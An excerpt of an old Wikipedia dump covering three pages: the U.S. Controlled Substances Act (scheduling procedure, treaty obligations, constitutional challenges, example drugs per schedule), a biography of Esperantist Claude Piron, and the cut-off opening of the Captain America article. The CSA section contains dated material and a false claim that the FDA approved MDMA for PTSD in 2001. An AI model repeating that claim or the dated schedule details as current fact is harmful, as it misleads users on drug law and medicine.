Under certain circumstances, the Government may temporarily schedule a drug without following the normal procedure. An example is when international treaties require control of a substance. In addition, ''21 U.S.C. § 811(h)'' allows the Attorney General to temporarily place a substance in Schedule I &quot;to avoid an imminent hazard to the public safety&quot;. Thirty days' notice is required before the order can be issued, and the scheduling expires after a year; however, the period may be extended six months if rulemaking proceedings to permanently schedule the drug are in progress. In any case, once these proceedings are complete, the temporary order is automatically vacated.

The CSA also creates a closed system of distribution for those authorized to handle controlled substances. The cornerstone of this system is the registration of all those authorized by the DEA to handle controlled substances. All individuals and firms that are registered are required to maintain complete and accurate inventories and records of all transactions involving controlled substances, as well as security for the storage of controlled substances.

==History==
Since its enactment in [[1970]], the Act has been amended several times:
*The [[Psychotropic Substances Act (United States)|Psychotropic Substances Act]] of [[1978]] added provisions implementing the [[Convention on Psychotropic Substances]].
* The [[Controlled Substances Penalties Amendments Act of 1984]].
*The [[Chemical Diversion and Trafficking Act]] of [[1988]] added provisions implementing the [[United Nations Convention Against Illicit Traffic in Narcotic Drugs and Psychotropic Substances]].
*The [[Domestic Chemical Diversion and Control Act]] of [[1993]].
*The [[Federal Analog Act]].
{{section-stub}}

==International law==
The Congressional findings in ''21 U.S.C. § 801(7)'', ''21 U.S.C. § 801(a)(2)'', and ''21 U.S.C. § 801(a)(3)'' state that a major purpose of the CSA is to &quot;enable the United States to meet all of its obligations&quot; under international [[treaty|treaties]] - specifically, the [[1961]] [[Single Convention on Narcotic Drugs]] and the [[1971]] [[Convention on Psychotropic Substances]][http://www.usdoj.gov/dea/agency/csa.htm]. The CSA bears many resemblances to these Conventions. Both the CSA and the treaties set out a system for classifying controlled substances in several Schedules in accordance with the binding scientific and medical findings of a public health authority.
Under ''[http://www.usdoj.gov/dea/pubs/csa/811.htm 21 U.S.C. § 811]'' of the CSA, that authority is the [[Secretary of Health and Human Services]] (HHS). Under [http://www.incb.org/e/conv/1961/articles.htm#3 Article 3] of the Single Convention and [http://www.incb.org/e/conv/1971/articles.htm#2 Article 2] of the Convention on Psychotropic Substances, the [[World Health Organization]] is that authority.

''21 U.S.C. § 811(d)'' provides for automatic compliance with treaty obligations and establishes mechanisms for amending international drug control regulations to correspond with HHS findings on scientific and medical issues. If control of a substance is mandated by the Single Convention, the Attorney General is required to &quot;issue an order controlling such drug under the schedule he deems most appropriate to carry out such obligations,&quot; without regard to the normal scheduling procedure or the findings of the HHS Secretary. However, the Secretary has great influence over any drug scheduling proposal under the Single Convention, because ''21 USC § 811(d)(2)(B)'' requires the Secretary the power to &quot;evaluate the proposal and furnish a recommendation to the Secretary of State which shall be binding on the representative of the United States in discussions and negotiations relating to the proposal.&quot;

Similarly, if the UN [[Commission on Narcotic Drugs]] adds or transfers a substance to a Schedule established by the Convention on Psychotropic Substances, so that current U.S. regulations on the drug do not meet the treaty's requirements, the Secretary is required to issue a recommendation on how the substance should be scheduled under the CSA. If the Secretary agrees with the Commission's scheduling decision, he can recommend that the Attorney General initiate proceedings to reschedule the drug accordingly. If the HHS Secretary disagrees with the UN controls, however, the Attorney General must temporarily place the drug in Schedule IV or V (whichever meets the minimum requirements of the treaty) and exclude the substance from any regulations not mandated by the treaty, while the Secretary is required to request that the [[United States Secretary of State|Secretary of State]] take action, through the Commission or the [[UN Economic and Social Council]], to remove the drug from international control or transfer it to a different Schedule under the Convention. The temporary scheduling expires as soon as control is no longer needed to meet international treaty obligations.

This provision was invoked in [[1984]] to place Rohypnol ([[flunitrazepam]]) in Schedule IV. The drug did not then meet the Controlled Substances Act's criteria for scheduling; however, control was required by the Convention on Psychotropic Substances. In [[1999]], an FDA official explained to Congress[http://www.hhs.gov/asl/testify/t990311b.html]:
:''Rohypnol is not approved or available for medical use in the United States, but it is temporarily controlled in Schedule IV pursuant to a treaty obligation under the 1971 Convention on Psychotropic Substances. At the time flunitrazepam was placed temporarily in Schedule IV (November 5, 1984), there was no evidence of abuse or trafficking of the drug in the United States.''

The [[Cato Institute]]'s ''Handbook for Congress'' calls for repealing the CSA, an action that would likely bring the U.S. into conflict with [[international law]][http://www.cato.org/pubs/handbook/hb108/hb108-17.pdf].  The exception would be if the U.S. were to claim that the treaty obligations violate the [[United States Constitution]]. Many articles in these treaties - such as [http://www.incb.org/e/conv/1961/articles_II.htm?#35 Article 35] and [http://www.incb.org/e/conv/1961/articles_II.htm?#36 Article 36] of the Single Convention - are prefaced with phrases such as &quot;Having due regard to their constitutional, legal and administrative systems, the Parties shall . . .&quot; or &quot;Subject to its constitutional limitations, each Party shall . . .&quot; According to former [[United Nations Drug Control Programme]] Chief of Demand Reduction [[Cindy Fazey]], &quot;This has been used by the USA not to implement part of article 3 of the 1988 Convention, which prevents inciting others to use narcotic or psychotropic drugs, on the basis that this would be in contravention of their constitutional amendment guaranteeing freedom of speech&quot;[http://www.fuoriluogo.it/arretrati/2003/apr_17_en.htm].

==Constitutional issues==
Most of the Congressional findings and declarations in ''21 U.S.C. § 801'' are devoted to establishing the statute's constitutionality. Using similar language to [[Article I of the United States Constitution|Article I]], Section 8 of the U.S. Constitution, the CSA cites the impact of intrastate drug offences on &quot;interstate commerce&quot; and the &quot;general welfare&quot; of the American people. However, [[David Boaz]], executive director of the Cato Institute, claims that &quot;The Tenth Amendment reserves to the states or the people all powers not granted to the federal government. At least the advocates of alcohol Prohibition had enough respect for the Constitution to seek a constitutional amendment to impose Prohibition, but Congress never asked the American people for the constitutional power to impose drug prohibition&quot;[http://www.cato.org/dailys/3-03-97.html].

In 2003, the [[United States Court of Appeals for the Ninth Circuit]] ruled the CSA illegal as it applied to the use of medical marijuana in the case ''[[Raich v. Ashcroft]]'',  [[Case citation|352 F.3d 1222]] ([[9th Cir.]] [[2003]]).  However, the case was appealed to the [[Supreme Court of the United States|Supreme Court]] by the federal government, and in [[2005]], the Supreme Court ruled in favor of the federal government.

==Drug Schedules==

'''''The below lists are incomplete.  Consult the [http://www.usdoj.gov/dea/pubs/scheduling.html DEA Drug Scheduling Reference] for a longer list.'''''

21 U.S.C. §812(b) specifies the findings that the government must make in order to classify a drug in a certain schedule.  The specific classification of any given drug is usually a source of controversy, as is the purpose and effectiveness of the entire regulatory scheme.

===Schedule I drugs===

Findings required:

:''(A) The drug or other substance has a high potential for abuse.''
:''(B) The drug or other substance has no currently accepted medical use in treatment in the United States.''
:''(C) There is a lack of accepted safety for use of the drug or other substance under medical supervision.''

Under the DEA's interpretation of the CSA, a drug does not necessarily have to have the same abuse potential as heroin or cocaine to merit placement in Schedule I (in fact, cocaine is currently a Schedule II drug) [http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=2001_register&amp;docid=01-9306-filed]:
:''When it comes to a drug that is currently listed in schedule I, if it is undisputed that such drug has no currently accepted medical use in treatment in the United States and a lack of accepted safety for use under medical supervision, and it is further undisputed that the drug has at least some potential for abuse sufficient to warrant control under the CSA, the drug must remain in schedule I. In such circumstances, placement of the drug in schedules II through V would conflict with the CSA since such drug would not meet the criterion of &quot;a currently accepted medical use in treatment in the United States.&quot; 21 USC 812(b).''

Sentences for first-time, non-violent offenders convicted of trafficking in Schedule I drugs can easily turn into ''de facto'' life sentences when multiple sales are prosecuted in one proceeding.  See ''United States v. Angelos'', [[Case citation|345 F. Supp. 2d 1227]] ([[D. Utah]] [[2004]]) (55 years for three sales of marijuana).  Sentences for violent offenders are much higher.

Drugs on this schedule include:

* [[GHB]] (Gamma-hydroxybutyrate), which has been used as a general anaesthetic with minimal side-effects and controlled action but a limited safe dosage range. It was placed in Schedule I in [[March 2000]] after widespread recreational use;

* [[Ibogaine]], which has potential medical uses in the treatment of drug and alcohol addiction and is regarded as an experimental, rather than illegal, drug in some countries;

* [[Cannabis (drug)|Cannabis]] (Marijuana). Cannabis was placed into Schedule I by Congress in [[1970]] pursuant to the recommendation of Assistant Secretary of Health [[Roger O. Egeberg]]. [[Jon Gettman]] and other activists have argued that strict application of the &quot;no currently accepted medical use&quot; requirement would exclude from this schedule and place it in Schedule II, since it does have recognised medical uses in the U.S., notably to control nausea in those undergoing [[chemotherapy]]; see [[medical marijuana]]. In [[1988]], the DEA's own administrative law judge, [[Francis Young]], proposed moving marijuana into Schedule II, on the basis that marijuana is &quot;one of the safest therapeutically active drugs known to man&quot; &lt;sup&gt;[[#References|1]]&lt;/sup&gt; and that a respectable minority of physicians supported its medical uses. The DEA refused to honor Young's ruling, and subsequent petitions to reschedule have been denied. In a January 17, [[2001]] letter to DEA Administrator [[Robert Bonner]] entitled ''Basis for the Recommendation for Maintaining Marijuana in Schedule I of the Controlled Substances Act'', [[David Satcher]], Assistant Secretary for Health and [[Surgeon General of the United States]] stated, &quot;marijuana has a high potential for abuse, has no currently accepted medical use in treatment in the United States, and has a lack of accepted safety for use under medical supervision. Accordingly, HHS recommends that marijuana * * * continue to be subject to control under Schedule I of the CSA.&quot; See [[cannabis rescheduling in the United States]];

* [[Heroin]] (Diacetylmorphine), which is used in much of Europe as a potent pain reliever in terminal cancer patients. (It is about twice as strong, by weight, as morphine.) Some argue that the taboo surrounding heroin is what is keeping it in the Schedule I category;

* [[Ecstasy_(drug)|Ecstasy]] (MDMA), which continues to be used medically, notably in the treatment of [[post-traumatic stress disorder]] (PTSD). The [[Food and Drug Administration|FDA]] approved this PTSD use in [[2001]]. Medical recommendations were that because of its medical use it be placed in Schedule III, not Schedule I;

* [[Psilocybin]], a drug which was studied in an FDA-approved study for its potential use in the treatment of [[obsessive-compulsive disorder]];

* [[5-MeO-DIPT]];

* MDA ([[3,4-methylenedioxyamphetamine]]);

* [[LSD]];

* [[Mescaline]];

* [[Peyote]];

* [[Quaalude]];

* DOM [[2,5-dimethoxy-4-methylamphetamine]]

===Schedule II drugs===

Findings required:
:''(A) The drug or other substance has a high potential for abuse.''
:''(B) The drug or other substance has a currently accepted medical use in treatment in the United States or a currently accepted medical use with severe restrictions.''
:''(C) Abuse of the drug or other substances may lead to severe psychological or physical dependence.''

These drugs are only available by [[medical prescription|prescription]], and distribution is carefully controlled and monitored by the DEA.

Drugs on this schedule include:

* [[Cocaine]] (used as a topical anaesthetic);

* [[Methylphenidate]] (Ritalin);

* Most pure opioid agonists: [[Pethidine|Pethidine (INN) or meperidine (USAN)]], [[fentanyl]], [[opium]], [[oxycodone]], or [[morphine]];

* Short-acting [[barbiturates]], such as secobarbital;

* [[Amphetamines]], except for injectable [[methamphetamine]]. Amphetamines were originally placed in Schedule III, but were moved to Schedule II in [[1971]]. Injectable methamphetamine has always been in Schedule II;

===Schedule III drugs===

Findings required:
:''(A) The drug or other substance has a potential for abuse less than the drugs or other substances in schedules I and II.''
:''(B) The drug or other substance has a currently accepted medical use in treatment in the United States.''
:''(C) Abuse of the drug or other substance may lead to moderate or low physical dependence or high psychological dependence.''

These drugs are available only by prescription, though control of wholesale distribution is somewhat less stringent than Schedule II drugs.

Drugs on this schedule include:

* [[Anabolic steroid]]s;

* Intermediate-acting [[barbiturates]], such as talbutal;

* [[Ketamine]], a drug that was originally developed as a milder substitute for PCP (primarily to be used as a human anesthetic) but has since become popular as a veterinary anesthetic;

* [[Paregoric]];

* Xyrem, a preparation of [[GHB]] used to treat [[narcolepsy]]. Xyrem is in Schedule III but with a restricted distribution system;

* [[Marinol]], a synthetic [[cannabinoid]] used to treat [[nausea]] and [[vomiting]] caused by [[chemotherapy]], as well as [[Appetite|appetite loss]] caused by [[AIDS]];

* [[Hydrocodone]] / [[Codeine]], when compounded with an [[NSAID]](e.g. Vicoprofen, when compounded with [[Ibuprofen]]) or with Acetaminophen (e.g. Vicodin / Tylenol 3);

* Rohypnol ([[Flunitrazepam]]). Flunitrazepam was placed in Schedule IV in [[1984]] and moved to Schedule III in [[1995]], but the DEA is considering moving it into Schedule I because of widespread non-medical use, and the fact that flunitrazepam is not approved by the FDA. It is best known as a [[rape#Acquaintance (&quot;date&quot;) rape|date rape]] drug but is also fairly widely used in recreational ways. Flunitrazepam is already classified as a Schedule I drug in several states.

===Schedule IV drugs===

Findings required:
:''(A) The drug or other substance has a low potential for abuse relative to the drugs or other substances in schedule III.''
:''(B) The drug or other substance has a currently accepted medical use in treatment in the United States.''
:''(C) Abuse of the drug or other substance may lead to limited physical dependence or psychological dependence relative to the drugs or other substances in schedule III.''

Control measures are similar to Schedule III.

Drugs on this schedule include:

* [[Benzodiazepines]], such as [[alprazolam]] (Xanax), [[chlordiazepoxide]] (librium), and [[diazepam]] (Valium);

* Long-acting [[barbiturates]] such as phenobarbital;

* Some partial [[agonist]] opioid analgesics, such as [[propoxyphene]] (Darvon) and [[pentazocine]] (Talwin);

* Certain non-amphetamine stimulants, including [[pemoline]] and [[Modafinil]].

===Schedule V drugs===

Findings required:
:''(A) The drug or other substance has a low potential for abuse relative to the drugs or other substances in schedule IV.''
:''(B) The drug or other substance has a currently accepted medical use in treatment in the United States.''
:''(C) Abuse of the drug or other substance may lead to limited physical dependence or psychological dependence relative to the drugs or other substances in schedule IV.''

Schedule V drugs are sometimes available without a prescription.

Drugs on this schedule include:

*Cough suppressants containing small amounts of [[codeine]];

*Preparations containing small amounts of [[opium]] or [[Diphenoxylate]] (used to treat diarrhea);

*[[Pregabalin]], an anticonvulsant and pain modulator.

===Other provisions===
The federal law has only five schedules, but some states have added a &quot;[[Schedule VI]]&quot; to cover certain substances which are not &quot;drugs&quot; in the conventional sense, but are nonetheless abused recreationally; these include [[toluene]] (found in many types of paint, especially spray paint) and similar [[inhalants]] such as [[amyl nitrite]] (or [[poppers]]), [[butyl nitrite]], and [[nitrous oxide]] (found in many types of aerosol cans).  Many state and local governments enforce age limits on the sale of products containing these substances.

Due to [[pseudoephedrine]] being widely used in the manufacture of [[methamphetamine]], the state of [[Oregon]] now requires a prescription for pharmacies to dispense any cold remedy containing pseudoephedrine. Likewise, the state of [[Iowa]] restricts sales of pseudoephedrine-containing products to licensed pharmacies and requires customers to show photo ID and sign a log book. This affects many preparations which were previously available over-the-counter, such as ''Sudafed'' and equivalent products.

Pharmaceuticals that require a prescription to be dispensed often are not covered under the [[Controlled Substances Act]]. This category includes medicines which should only be taken under a doctor's care, or which may have harmful interactions with other substances, but which are not known to be addictive and which are not used recreationally. These medications are used to treat a wide variety of medical conditions and to manage chronic conditions. 

Drugs requiring prescriptions are sometimes also known as '''legend drugs''' because legislation requires labels with the legend, &quot;Caution! Federal law prohibits dispensing without a prescription.&quot;

The term '''controlled drugs''' is sometimes used for scheduled drugs because of the additional controls placed on them (beyond the need for a prescription).

==References==
*[http://www.usdoj.gov/dea/agency/csa.htm Controlled Substances Act - U.S. Drug Enforcement Administration] - Full text of the law, and interpretive text used as the basis of this article
*[http://www4.law.cornell.edu/uscode/html/uscode21/usc_sup_01_21_10_13.html 21 USC, Chapter 13] (Cornell) - full text of the law
*[http://www.access.gpo.gov/uscode/title21/chapter13_.html 21 USC, Chapter 13] (GPO) - full text of the law
*[http://www.cato.org/pubs/handbook/hb108/hb108-17.pdf Cato Handbook for Congress].
*[http://www.incb.org/e/conv/1971/cover.htm Convention on Psychotropic Substances 1971], International Narcotics Control Board.
*Fazey, Cindy: [http://www.fuoriluogo.it/arretrati/2003/apr_17_en.htm The UN Drug Policies and the Prospect for Change], Apr. 2003.
*[http://www.incb.org/e/conv/1961/ Single Convention on Narcotic Drugs 1961], International Narcotics Control Board.
*[http://www.hhs.gov/asl/testify/t990311b.html Statement on &quot;Date Rape&quot; Drugs by Nicholas Reuter, M.P.H.], Mar. 11, 1999.
*US Department of Justice (Drug Enforcement Administration), ''Marijuana Rescheduling Petition: Opinion and recommended ruling, findings of fact, conclusions of law and decision of administrative law judge'', [[6 September]] [[1988]], Section VIII, Part 16  [http://www.angeljustice.org/downloads/Marijuana%20Rescheduling%20Petition%20Doc%20No%2086%2022.pdf]
*Boaz, David: [http://www.cato.org/dailys/3-03-97.html Drug Prohibition Has Failed], Mar. 3, 1997.
*[http://www.usdoj.gov/dea/pubs/scheduling.html DEA Drug Scheduling Reference]

[[Category:1970 in law]]
[[Category:United States federal controlled substances legislation]]

[[pl:Controlled Substances Act]]</text>
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  <page>
    <title>Claude Piron</title>
    <id>7728</id>
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      <contributor>
        <username>D6</username>
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      <minor />
      <comment>adding [[category:Living people]] (test)</comment>
      <text xml:space="preserve">[[Image:Claude_Piron.jpg|200px|thumb|Claude Piron at the 2005 Bologne Congress.]]
'''Claude Piron''' (born [[1931]]), a [[linguistics|linguist]] and a [[psychology|psychologist]], was a translator for the [[United Nations]] (from [[Chinese language|Chinese]], [[English language|English]], [[Russian language|Russian]] and [[Spanish language|Spanish]] into [[French language|French]]) from [[1956]] to [[1961]].  After leaving the UN he worked for the [[World Health Organization]] all over the world, as well as being a prolific author of [[Esperanto]] works.  He has used Esperanto in many countries, including [[Japan]], [[China]], [[Uzbekistan]], [[Kazakhstan]], a few places in [[Africa]] and [[Latin America]], and almost all [[Europe|European]] countries.

He is a psychotherapist and taught in the psychology department of [[Geneva]] University ([[Switzerland]]) from [[1973]] to [[1994]]. His French language book ''Le defi des langues - Du gachis au bon sens'' (''The language challenge - From chaos to common sense'') ([[Paris]]: L'[[Harmattan]], [[1994]]) is a kind of [[psychoanalysis]] of international communication. A [[Portuguese language|Portuguese]] version, ''O desafio das linguas'', was published in 2002 ([[Campinas, Sao Paulo]]: Pontes, [[2002]]).

In a [http://www.claude-piron.ch/hidden-perverse-effects.html lecture on the current system of international communication] Piron argued that &quot;Esperanto relies entirely on innate reflexes.&quot; and &quot;...differs from all other languages in that you can always trust your natural tendency to generalize patterns...The same neuropsychological law...- called by...[[Jean Piaget]] ''generalizing assimilation'' - applies to word formation as well as to grammar.&quot;

His diverse Esperanto writings include instructional books, books for beginners, novels, short stories, poems, articles and non-fiction books.  His most famous works are ''[[Gerda Malaperis]]'' and ''[[La Bona Lingvo]]'' (The Good Language).  ''Gerda Malaperis'' is a novella which uses basic grammar and vocabulary in the first chapter and builds up to expert Esperanto by the end, including word lists so beginners can easily follow along.  In ''La Bona Lingvo'', Piron captures the basic linguistic and social aspects of Esperanto.  He argues strongly for imaginative use of the basic Esperanto morpheme inventory and word formation techniques, and against unnecessary importation of neologisms from European languages.  He also presents the idea that once one has learned enough vocabulary to express oneself, it is easier to think clearly in Esperanto than in many other languages.

== External links ==
Many articles and texts in a number of languages at *[http://claudepiron.free.fr/]
*[http://www.claude-piron.ch/englishindex.htm www.claude-piron.ch] the homepage of Claude Piron by Stefano Keller
*[http://claudepiron.free.fr Claude Piron, texts in many languages]
*[http://www.geocities.com/c_piron/ About Language Problems] by Claude Piron

[[Category:Esperanto literature|Piron, Claude]]
[[Category:Swiss linguists|Piron, Claude]]
[[Category:1931 births|Piron, Claude]][[Category:Living people|Piron, Claude]]
[[Category:Esperantists|Piron, Claude]]

[[cs:Claude Piron]]
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[[ja:クロード・ピロン]]</text>
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  <page>
    <title>Captain America</title>
    <id>7729</id>
    <revision>
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      <comment>rvv</comment>
      <text xml:space="preserve">{{Superherobox| &lt;!--Wikipedia:WikiProject Comics--&gt;
|image=[[Image:secretwarcap.jpg|250px]]
|caption=''Secret War'' #3 (October 2004). &lt;br&gt;Art by [[Gabriele Dell'Otto]].
|comic_color=background:#ff8080 	
|character_name=Captain America
|real_name=Steve Rogers
|publisher=Marvel Comics
|debut=''Captain America Comics'' #1 (historical, March 1941), [[Avengers (comics)|Avengers]] Vol. 1, #4 (modern, March 1964)
|creators=[[Joe Simon]]&lt;br&gt;[[Jack Kirby]]
|alliance_color=background:#ffc0c0 
|status=Active
|alliances=[[Avengers (comics)|The Avengers]]&lt;br&gt;[[S.H.I.E.L.D.]]
|previous_alliances=[[Invaders (comics)|The Invaders]]&lt;br&gt;[[Defenders (comics)|The Defenders]]
|aliases=Nomad, The Captain, Cap
|relatives=None
|powers=An artificially enhanced physiology at the maximum human level of strength, endurance and agility. Briefly had super-human strength.
|}}
'''Captain America''', the alter ego of '''Steve Rogers''' (in some accounts Steven Grant Rogers), is a [[Marvel Comics]] [[superhero]]. Created by [[Joe Simon]] and [[Jack Kirby]], he first appeared in [[Timely Comics]]' ''Captain America Comics'' #1 (March 1941).

==Publication history==
Captain America was one of the most popular characters that Marvel Comics (then known as [[Timely Comics|Timely]]) had during the [[Golden Age of Comic Books]].  He was, if not the [[The Shield (Archie)|first]], certainly the most prominent and enduring of a wave of patriotically themed superheroes that American [[comic book]] companies introduced just prior to and during [[World War II]]. With his sidekick [[Bucky]], Captain America faced [[Nazism|Nazis]] and [[Japan|Japanese]] troops during his 1940s heyday, but after the end of the war, his main reason for existence (as a fictional war hero) was gone, and the character's popularity faded.  Bucky disappeared from the comic in 1948 and was replaced by Captain America's girlfriend, Betty Ross, or [[Golden Girl]].  By the end of 1949, after the publication of ''Captain America's Weird Tales'' #74, Captain America had disappeared from comic book pages.

He was briefly revived, along with the [[Human Torch (Golden Age)|original Human Torch]] and the [[Sub-Mariner]], by Marvel's 1950s iteration, [[Atlas Comics (1950s)|Atlas Comics]], in ''Young Men'' #24 (December 1953) as an anti-[[Communist]] superhero.  Captain America made several appearances over the next year in ''Young Men'' and ''Men's Adventures'', as well as in three issues of his eponymous title, but sales were poor.  After the publication of ''Captain America'' #78 (September 1954), the character disappeared again.  In the 1970s, this version of Captain America would be [[retcon]]ned into a separate character&amp;mdash;not Steve Rogers&amp;mdash;who briefly took up the mantle.

In 1964, by which point Atlas had evolved into [[Marvel Comics]], Captain America was revived with the explanation that he had fallen from an experimental [[unmanned aerial vehicle|drone plane]] into the [[Atlantic Ocean|North Atlantic]] in the final days of the war and spent the past decades frozen in a state of [[suspended animation]]. (Retellings sometimes place the event over the [[English Channel]].) The hero found a new generation of readers as the leader of the all-star group the [[Avengers (comics)|Avengers]] and in a new solo series.

Since then, Captain America has been a much more serious and less jingoistic hero. Writers have used the character to reflect the conflict between politics and ideology by placing him at odds with the United States government and angry and troubled about the state of the country. He considers himself dedicated to defending America’s ideals rather than its political leadership, a conviction summed up when Captain America confronted an [[United States Army|army]] general who tried to manipulate him by appealing to his loyalty. Rogers responded, &quot;I'm loyal to nothing, General.. except the [[American Dream|Dream]].&quot; (''[[Daredevil]]'' #233, August 1986)

Marvel has repeatedly revised the Captain America continuity; the character's unbreakable ties to a specific time period make it particularly difficult for the series to avoid conspicuous anomalies and inconsistencies.

==Character biography==
====1940s - Operation: Rebirth====
[[Image:Captainamerica1.jpg|thumb|left|200px|''Captain America Comics'' #1 (March 1941), art by [[Jack Kirby]].]]
In current [[Marvel Universe]] history, Steven Rogers was a scrawny [[United States|American]] [[fine arts]] student specializing in illustration in the early 1940s before America's entry into [[World War II]].  He was disturbed by the rise of the [[Third Reich]] enough to attempt to enlist only to be rejected due to his poor constitution.  By chance, a US Army officer looking for test subjects for a top secret defense research project offered Rogers an alternate way to serve his country.  This project, Operation: Rebirth, consisted of developing a means to create physically superior soldiers and Rogers was deemed ideal.

Rogers agreed to volunteer for the research and after a rigorous physical and combat training and selection process, was chosen as the first human test subject.  He received injections and oral ingestions of a chemical formula that was termed the Super-Soldier Serum, which had been developed by the scientist Dr. Emil Erskine (who was code-named &quot;Dr. Reinstein&quot;).  Rogers was then exposed to a controlled burst of &quot;Vita-Rays&quot; that activated and stabilized the chemicals in his system.  Although the process was arduous physically, it successfully altered his physiology from its relatively frail form to the maximum of human efficiency, including greatly enhanced musculature and reflexes.

[[Image:Captainamerica5.jpg|thumb|200px|''Captain America'' Vol. 5, #5, together with fellow [[Invaders (comics)|Invaders]] [[Namor the Sub-Mariner]] and the [[Human Torch (Golden Age)|Human Torch]]. Art by [[Steve Epting]].]]
At this moment, a Nazi [[secret agent|spy]] revealed himself and shot Erskine.  Because the scientist had committed the crucial portions of the Super-Soldier formula to memory, it could not be duplicated.  Rogers killed the spy in retaliation (retconned in the 1960s so that the spy accidentally killed himself by fleeing headlong into an &quot;electrical omniverter&quot;) and vowed to oppose the enemies of America.  The [[United States]] government, making the most of its one super-soldier, reimagined him as a superhero who served both as a [[counter-intelligence]] agent and a [[propaganda]] symbol to counter Nazi [[Germany]]'s head of terrorist operations, the [[Red Skull]].  To that end, Rogers was given a costume modeled after the [[American flag]], a [[Captain America's shield|bulletproof shield]], a personal [[sidearm]] and the codename Captain America. He was also given a cover identity as a clumsy [[infantry]] private at Camp LeHigh in Virginia. Barely out of his teens himself, Rogers then made friends with the teenage camp [[mascot]], [[Bucky|James Buchanan &quot;Bucky&quot; Barnes]].

Barnes accidentally learned of Roger's [[secret identity|dual identity]] and offered to keep the secret if he could become Captain America's [[sidekick]].  Rogers agreed, and trained Barnes appropriately.  By this time Rogers had met President [[Franklin D. Roosevelt]], who presented him with a new shield made from a chance mixture of [[iron]], [[vibranium]] and an unknown catalyst.  The alloy was indestructible, yet the shield was light enough to use as a [[discus]]-like weapon that could be angled to return to him. (In several stories, due to writer error, the shield was described as an [[adamantium (comics)|adamantium]]-vibranium alloy.) It proved so effective that the sidearm was dropped.  Throughout World War II, Captain America and Bucky fought the Nazi menace both on their own and as members of the superhero team [[Invaders (comics)|the Invaders]] (beginning with 1970s comics), which after the war evolved into the [[All-Winners Squad]] (in 1940s comics).

Rogers was not the first to be given the Super Soldier formula.  It was revealed years later that while Rogers was still being assessed, some military members of the project felt that a non-soldier was not the right candidate and secretly gave Erskine's incomplete formula to Clinton McIntyre.  However, this made McIntyre violently insane, and he had to be subdued and placed in cold storage.  The criminal organization [[Advanced Idea Mechanics|AIM]] would later revive McIntyre as the homicidal [[Protocide]]. (''Captain America Annual'', 2000). 

A beta version of the formula was given to [[Isaiah Bradley]], who became the only survivor of a group of [[African-American]] soldiers that &quot;Reinstein&quot; and the military experimented on in 1942.  After the last two members of his group were killed, Bradley stole the costume meant for Rogers and wore it on a suicide mission to destroy the Nazi super-soldier effort at a German concentration camp.  Bradley was captured, but eventually rescued and [[court martial]]ed.  He was imprisoned for 17 years in [[United States Disciplinary Barracks|Leavenworth]] until he was pardoned by President [[Dwight D. Eisenhower|Eisenhower]].  By the time of his release, the long-term effects of the formula turned Bradley into a hulking, sterile giant with the mentality of a 7-year-old.  Rogers would not find out about Bradley until decades later (''Truth: Red, White and Black'', 2003).  The [[Patriot (comics)|Patriot]], a member of the [[Young Avengers]], has been revealed to be the grandson of Isaiah Bradley.

According to files in the Weapons Plus Program, a clandestine government organization devoted to the creation of superhumans to combat and eventually exterminate mutants, Rogers was &quot;Weapon I&quot;, the first generation living weapon.  Following his disappearance, the following installments of the Weapon Plus Program moved on to new attempts to create the ultimate weapon, experimenting on animals, racial minorities, criminals and eventually mutants, with results such as [[Wolverine (comics)|Wolverine]], [[Deadpool]] and [[Fantomex]] (''New X-Men'' #145, October 2003).

In the closing days of World War II in 1945, Captain America and Bucky tried to stop the villainous [[Baron Zemo]] from destroying an experimental drone plane.  Zemo launched the plane with an armed explosive device on it, with Rogers and Barnes in hot pursuit.  They reached the plane just before it took off, but when Bucky tried to defuse the bomb, it exploded in mid-air.  The young man was believed killed, and Rogers was hurled into the freezing waters of either the North Atlantic or the English Channel (accounts differ). Neither his body or Bucky's were found, and both were presumed dead.

====Late 1940s&amp;ndash;1950s - After Steve Rogers====
Fearing a blow to morale if the news of Captain America's demise was revealed, President [[Harry S. Truman|Truman]] asked William Naslund, the Golden Age patriotic costumed hero known as the Spirit of '76, to assume the role, with a young man named Fred Davis as Bucky.  They continued to serve in the same roles after the war with the [[All-Winners Squad]], until Naslund was fatally injured in a battle with the [[android]] Adam II in 1946 (''What If?'' #4, August 1977). With Naslund's death, Jeff Mace, also known as the Golden Age [[Jeffrey Mace|Patriot]], took over as Captain America, with Davis continuing to act as Bucky.  However, Davis was shot and injured in 1948 and forced to retire.  Mace then teamed up with Betsy &quot;Golden Girl&quot; Ross, and sometime before 1953 gave up his Captain America identity to marry her. Mace contracted [[cancer]] and died some decades later (''Captain America'' #285, September 1983).

In 1953, an unnamed man who idolized Captain America and had done his American History Ph.D. thesis on Rogers discovered some Nazi files in a warehouse in Germany, one of which apparently contained the lost formula for the Super Soldier serum.  He took it to the United States government on the condition that they use it to make him the fourth Captain America.  Needing a symbol for the [[Korean War]], they agreed, and the man underwent plastic surgery to look like Steve Rogers, even assuming that name.  However, the war ended and the project never went forward.  &quot;Rogers&quot; found a teaching job at the Lee School, where he met Jack Monroe, a young orphan who also idolized Captain America.  They decided to use the formula on themselves and became the new Captain America and Bucky, this time fighting the so-called [[Communism|Communist]] scourge (''Young Men'' #24&amp;ndash;28, Dec. 1953&amp;ndash;May 1954). These stories were written by [[Stan Lee]] with art by a young [[John Romita Sr.]]

&quot;Rogers&quot; and Monroe did not know of and therefore did not undergo the &quot;Vita-Ray&quot; process, however.  The imperfect implementation of the formula in their systems made them [[paranoia|paranoid]], and by the middle of 1954 they were irrationally attacking anyone they perceived to be a Communist.  In 1955 the [[Federal Bureau of Investigation|FBI]] placed them in suspended animation.  The 1950s Captain America and Bucky would be revived years later after the return of Steve Rogers, go on another rampage, and be defeated by the man they had modeled themselves after (''Captain America'' #153, Sept. 1972).

====1960s&amp;ndash;1970s - The return of Steve Rogers====
[[Image:Avengers4.jpg|thumb|right|200px|''Avengers'' Vol. 1, #4 (March 1964), art by [[Jack Kirby]].]]
In ''[[Avengers (comics)|Avengers]]'' #4 (March 1964), the Avengers discovered Steve Rogers's body in the North Atlantic, his costume under his soldier's uniform and still carrying his shield.  Rogers had been preserved in a block of ice since 1945, which melted after the block was thrown back into the ocean by the Sub-Mariner, enraged that an Arctic tribe was worshipping the frozen figure.  When Rogers revived, he related his last, failed mission in the closing days of the war.  Rogers accepted membership in the Avengers, and although he soon adjusted to modern times well enough to eventually assume leadership of the team, he was plagued by guilt for not being able to prevent Bucky's death.  He also undertook missions for the national security agency [[S.H.I.E.L.D.]], which was commanded by his old war comrade [[Nick Fury]].

